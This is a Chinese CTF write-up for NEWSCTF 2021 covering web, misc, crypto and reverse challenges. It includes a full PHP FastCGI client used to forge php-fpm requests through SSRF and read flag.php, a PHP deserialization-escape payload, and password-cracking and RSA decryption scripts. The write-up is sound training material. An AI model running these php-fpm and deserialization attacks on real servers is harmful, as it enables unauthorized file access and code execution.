20210601-NEWSCTF-Nova底登陆WriteUp

 

WEB

easy_web

web+misc php数组key溢出,暴力破解md5 数组绕过,

得到密码

图片后面有压缩包

weblog

php 对函数和类名大小写不敏感,小写绕过,

__wakeup 那里 可以触发 __construct() 任意文件读取,读flag.php 就行

impossible ip

那个函数可以打ssrf,ssrf 本地的flag.php 可以看到源码,

然后 写入hint.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
// $this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
echo(base64_encode($request));
// fwrite($this->_sock, $request);
// do {
// $resp = $this->readPacket();
// if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
// $response .= $resp['content'];
// }
// } while ($resp && $resp['type'] != self::END_REQUEST);
// var_dump($resp);
// if (!is_array($resp)) {
// throw new Exception('Bad request');
// }
// switch (ord($resp['content']{4})) {
// case self::CANT_MPX_CONN:
// throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
// break;
// case self::OVERLOADED:
// throw new Exception('New request rejected; too busy [OVERLOADED]');
// break;
// case self::UNKNOWN_ROLE:
// throw new Exception('Role value not known [UNKNOWN_ROLE]');
// break;
// case self::REQUEST_COMPLETE:
// return $response;
// }
}
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
// die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
// $filepath = __FILE__;
//}else{
// $filepath = $_REQUEST['filepath'];
//}

$filepath = "/var/www/html/flag.php";
$req = '/'.basename($filepath);

$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'GET',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '120.78.22.12',
'REMOTE_PORT' => '80',
'SERVER_ADDR' => '120.78.22.12',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

直接打就好了。

打 tcp 模式或者 unix套接字模式都可以。

image.png

至于前面那个hint , 可以 url 编码绕,挺奇怪的,我也是抱着试一下心理,用url编码绕,结果就出phpinfo() 了,很奇怪。

还有注意的点就是,不要url编码后再base64 ,我就卡在这一步一直出不来,直接将fpm流base64 编码,本来想打rce的,没成功,可能是出题人设置的吧。

weblogin

在本地搭了试了一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class Action {

public $data;
public $username;
public $password;
public $datafile;
public $act;

function __construct(){
$this->username = '';
$this->password = '';
$this->datafile = 'flag4292787810c14bed46572020d61a77ed';
$this->act = 'register';
$this->data = '';
}
}
$a = array(
'jiang'=>";".serialize(new Action).'}s:8:"username";s:0:"";s:8:"password";s:0:"";s:8:"datafile";s:0:"";s:3:"act";s:0:"";}}'
);
echo serialize($a);

var_dump(unserialize('O:6:"Action":5:{s:4:"data";a:1:{s:17:"jiang0123";s:253:";O:6:"Action":5:{s:4:"data";s:0:"";s:8:"username";s:0:"";s:8:"password";s:0:"";s:8:"datafile";s:40:"flag4292787810c14bed46572020d61a77ed/123";s:3:"act";s:8:"register";}}s:8:"username";s:0:"";s:8:"password";s:0:"";s:8:"datafile";s:0:"";s:3:"act";s:0:"";}";}s:8:"username";s:0:"";s:8:"password";s:0:"";s:8:"datafile";s:0:"";s:3:"act";s:0:"";}'));

把序列化后的东西可见字符编码再写入data文件,编码那里出了问题,可能造成逃逸。

image.png

如果是 =xx 就不加密了,挺无聊的。

shorturl

感觉应该是非预期了

可以任意文件写入的,如果可以admin 删除 url request 然后让这些文件数量不大于1 就行。

image.png

变量覆盖导致我们可以越权成为 admin 删除文件。

image.png

这里存在反序列化漏洞,而且我们可以注入 | 来打破分隔。

image.png

在文件删除的地方可以调用,写入的时候也有调用

image.png

发一发包就好了。

Misc

very-ez-dump

扔进取证大师 拿到加密压缩包,hint提示需要找user密码。

用volatility hashdump发现是空密码。

无语子。

pslist发现有cmd进程

volatility -f ??? –profile = ??? consoles

找到了密码。

解压拿到flag。

sign in

pdf加密了。

先用pdf2john.pl 拿到hash值然后用hashcat爆破就好了,一秒出。

流量题

zip文件,打开后流量题。

搜索字符串galf找到对应的流后,提取hex编码并进行取反,脚本如下

1
2
3
4
5
6
txt="????"

length = len(txt)
for i in range(len(txt),0,-2):
# print(txt[length-i:length-i-2])
print(txt[i-2:i],end='')

保存到1.rar文件,有密码和hint。

然后用流量包的密码来解

1
tshark -r flag1.pcapng  -T fields -e urlencoded-form.value | sed '/^\s*$/d' > usbdata.txt

image-20210601165144525

用密码一个一个试就出了。

Crypto

签到

1
NTQ1NjcwNTg1MjMwNGU2MTRkN2E0ZTUwNTQ2YzU2NTg1NDdhNGU1NDRlMzAzNTQ3NTc0NTU5MzI0ZTQ2NTI0YjU0NTQ1NjU2NTM0NTZiMzM1MzU0MzAzZA%3D%3D

后面多了两个url编码的东西,去掉拿去自动解密,套了几个base而已

字符串与字节

1
2
010101100100010101110101010001010100010001000101010101100100011001010110011001000100010001000110011001100110010001100100010101100100010001010101010101010101010101000110
101010101001101111011001101101011011011101000100100100110110010010010101001101101010011101000011010101010101010000110111100001000101101010000110101010011000101001001111

第一段可以直接转字节,得到

1
VEuEDEVFVdDFfddVDUUUF

看了官方的WP,奇数偶数位

20210601 NEWSCTF(萌新赛)-2c9d444a.png

rsa256

这个文件的日期我很好奇

20210601 NEWSCTF(萌新赛)-3acfd61c.png

基础的二进制文件读取和rsa公钥提取,主要考验rsa库函数的一些运用

1
flag{3b6d3806-4b2b-11e7-95a0-000c29d7e93d}

贴一下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from gmpy2 import invert
import rsa

n = 98432079271513130981267919056149161631892822707167177858831841699521774310891

e = 65537

q = 302825536744096741518546212761194311477
p = 325045504186436346209877301320131277983

phi = (p-1)*(q-1)
d = int(invert(e, phi))

pri_key = rsa.PrivateKey(n, e, d, p, q)

with open("{influx}/NEWSCTF/RSA256/encrypted.message1", "rb") as fp:
print(rsa.decrypt(fp.read(), pri_key).decode())

with open("{influx}/NEWSCTF/RSA256/encrypted.message2", "rb") as fp:
print(rsa.decrypt(fp.read(), pri_key).decode())

with open("{influx}/NEWSCTF/RSA256/encrypted.message3", "rb") as fp:
print(rsa.decrypt(fp.read(), pri_key).decode())

big exponent

题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from Crypto.Util.number import *
from sympy import *
from gmpy2 import *
from random import *
from Crypto.PublicKey import RSA
#from py import flag

def gen_key():
p,q=getPrime(1024),getPrime(1024)
n,lcm=p*q,(p-1)*(q-1)//gcd(p-1,q-1)
e1 = invert(getPrime(730), lcm)
e2 = invert(getPrime(730), lcm)

return (e1,e2,n),(p,q)

def encrypt_e1(e1):
ep=getPrime(2040)
n=e1*ep
assert e1>ep
phi=(ep-1)*(e1-1)
d=nextprime(int(iroot(n,4)[0])*int(iroot(n,200)[0]))
e=invert(d,phi)

return (e,n)

def encrypt_e2(e2):
eq=getPrime(2040)
assert e2<eq
n=e2*eq
phi=(eq-1)*(e2-1)
d=nextprime(int(iroot(n,4)[0]/3)-getrandbits(30))
e=invert(d,phi)

return (e,n)

def encrypt(flag,e,n):
m=bytes_to_long(flag)

return long_to_bytes(pow(m,e,n))

def export_key(file_name,e,n):
pubkey = RSA.construct((n,e))
f = open(file_name,'wb')
f.write(pubkey.export_key())
f.close()

def main():
E=65537
pubkey,prikey=gen_key()
e1,e2,n=pubkey
E1,N1=encrypt_e1(e1)
export_key(r"pubkey1.pem",E1,N1)
E2,N2=encrypt_e2(e2)
export_key(r"pubkey2.pem",E2,N2)
export_key(r"pubkey3.pem",E,n)

cipher=encrypt(flag,E,n)
f=open(r"flaggg.enc","wb")
f.write(cipher)
f.close()

main()

n可以分解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
p = 101762447604961968347497011921099322367324119881977823223715806843654916018223203152717441386396615480134613864942068489600487206751473112264495957512819776729786840027245275219664091321087832913341367749452671938119115622233015167030327196487127307195872792552039408988207189866115101567965404039921455793363
q = 146645055489569596158773422326511843870914610026045288623162173369449741025994927278359852181645222010216728295790096211969513458244344811852179454305768973973420398459241985170762812039623053792853389316411927678494740679905048052776274447299638217155556426312374908963757267001415016478005573936685580868907
assert n == p*q
phi = (p-1)*(q-1)
d = int(invert(E, phi))
pri_key = rsa.PrivateKey(n, E, d, p, q)

with open("{influx}/NEWSCTF/big_exponent/flaggg.enc", "rb") as fp:
print(fp.read())

c = b'k\xa3\xe0.[\t\x95\x8b\x08)b\xc0\x11\xd7\xee\xc8\x96\xfca\xa3@ \xe2\xd3\xab%P\xcc\xa7\x00\x94>\xd7\xfc3\x0b\xa1\x85\xba]H|u\xdd\x0e\'\x96\xc4\xe2s\xbc\xf4\xd2\x94\xd7\xc9\x19|\xcf\xf7\xfa\xe3\x81\x98\xcd\xaa\x19\r\xdd\xc4|\x9d\xa4\xc4\x18\xda\xfeq\xa4\xf23\xef\xbf6\xfb\xa2<\x8a1\xd0\xc9\xac\x8f>D\xafa\x94"NOZ\xff\xf1\xd8\x93>\xea8\xd92\x94]\x07\xa5\xb3vl>\xa1e\xf2\xcbR\xddXs\xbfG\xb5\xe9o\xce\x85]\x1b\xd2\xa9n\x9b\xa3\xa2\xc7\xa4\x0b\xca\xf1\xe76sT\xe2\x1bM\x1e\xaf\x17)\xda\x9f\x9454\x0c\xba\x17\xecY\xb2RUH\rLL\x8eE(dLx\x0b/\xc2M\xb5\xd2\\{E\xff\x0f\xec\x0fMcE\xa1Me\x0c\xae\xfa!,\xb8\x87\xec\x7f?\xd8\xcc\xbc\xbb\xab\x0e\x0bp\x91\xac\x8b\xeb\x11\n%P\xe6\xd5\xbfQ\xdbh\xdbBi\xff2\xdeq\xbdS\xb9\x07\xf1jE/8+\x1dY\x80\x1f\xcdp\xfd'
c = bytes_to_long(c)
m = pow(c, d, n)
print(long_to_bytes(m))
1
flag{welcome_to_2th_compettion_2021}

Reverse

signin

主要的问题是pyc文件没有反编译成功

20210601 NEWSCTF(萌新赛)-0d2d4d1c.png

然后尝试百度之后,这道题最后的解法是

查看内码,试图反编译pyc,结果看到内码发现,不对啊,就是那么短,应该是文件的问题了

20210601 NEWSCTF(萌新赛)-80bbc7bd.png

好在第二天题目上了hint,直接求冒泡排序的次数,小手动一动,flag天上来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
# -*- coding: utf-8 -*-
a = [[73, 69, 60, 20, 64, 68, 99, 4, 36, 9, 91, 42, 75, 43, 8, 77, 55, 70, 84, 37, 3, 93],[85, 46, 47, 99, 58, 35, 83, 3, 57, 18, 52, 17, 97, 16, 6, 51, 84, 62, 1, 41, 88, 87],[97, 34, 31, 80, 19, 57, 10, 84, 4, 50, 43, 63, 65, 88, 30, 72, 21, 36, 27, 41, 86, 79],[31, 23, 68, 67, 30, 47, 27, 40, 73, 63, 11, 89, 18, 5, 9, 74, 88, 38, 8, 20, 50, 83],[88, 5, 85, 82, 36, 74, 6, 15, 40, 55, 95, 8, 84, 47, 96, 33, 25, 29, 77, 67, 26, 39],[54, 53, 0, 37, 66, 91, 39, 38, 57, 6, 47, 28, 49, 92, 29, 85, 88, 84, 90, 13, 35, 52],[80, 18, 26, 91, 10, 52, 11, 99, 85, 75, 60, 48, 36, 74, 55, 51, 86, 49, 89, 29, 82, 16],[35, 70, 42, 44, 18, 65, 84, 71, 26, 14, 38, 28, 21, 86, 20, 54, 30, 11, 66, 10, 69, 77],[71, 25, 43, 23, 29, 6, 33, 44, 5, 30, 32, 18, 47, 13, 76, 8, 83, 87, 57, 26, 16, 19],[29, 51, 7, 62, 94, 32, 57, 1, 71, 84, 92, 16, 18, 19, 56, 52, 40, 80, 98, 44, 82, 33],[67, 14, 93, 91, 78, 80, 7, 37, 10, 82, 38, 83, 23, 27, 17, 76, 74, 18, 66, 24, 99, 43],[29, 56, 44, 54, 70, 31, 10, 38, 8, 85, 18, 22, 32, 49, 2, 21, 50, 5, 25, 48, 90, 84],[23, 33, 90, 7, 42, 71, 25, 58, 5, 47, 54, 18, 97, 72, 2, 1, 68, 64, 76, 85, 69, 49],[77, 67, 52, 31, 35, 6, 56, 94, 81, 23, 78, 50, 15, 10, 28, 69, 43, 91, 82, 72, 99, 38],[20, 47, 52, 27, 73, 64, 9, 62, 3, 57, 2, 97, 44, 35, 89, 10, 18, 29, 58, 56, 74, 84],[66, 11, 76, 91, 70, 9, 6, 75, 32, 71, 44, 48, 88, 20, 98, 97, 79, 63, 47, 78, 60, 81],[43, 13, 70, 23, 31, 69, 52, 30, 2, 78, 0, 37, 73, 93, 18, 1, 51, 62, 25, 68, 65, 87],[24, 86, 29, 0, 93, 51, 53, 47, 16, 40, 94, 98, 88, 64, 41, 83, 44, 35, 45, 75, 17, 46],[33, 12, 63, 77, 25, 24, 47, 58, 6, 89, 97, 27, 21, 96, 92, 50, 82, 76, 5, 62, 56, 44],[12, 36, 16, 44, 19, 62, 43, 80, 58, 98, 69, 97, 1, 7, 49, 26, 70, 34, 53, 13, 65, 48],[51, 74, 76, 98, 33, 78, 44, 45, 4, 65, 99, 84, 80, 93, 37, 56, 77, 9, 6, 94, 52, 88],[80, 38, 88, 66, 7, 40, 70, 24, 2, 12, 76, 18, 57, 73, 58, 83, 33, 17, 89, 69, 77, 67],[18, 53, 14, 24, 94, 42, 61, 75, 62, 60, 73, 2, 65, 48, 80, 23, 44, 91, 7, 0, 31, 71],[16, 54, 87, 75, 8, 23, 33, 56, 22, 63, 1, 2, 25, 6, 84, 80, 4, 49, 17, 42, 14, 43]]


def bubble(n):
count = 0
for i in range(len(n)):
for j in range(len(n)-1, i, -1):
if n[j] < n[j-1]:
count += 1
t = n[j]
n[j] = n[j-1]
n[j-1] = t
return count


for l in a:
print(chr(bubble(l)), end='')
1
synt{jrypbzr_gb_arjfpgs}

然后凯撒一下得到

1
flag{welcome_to_newsctf}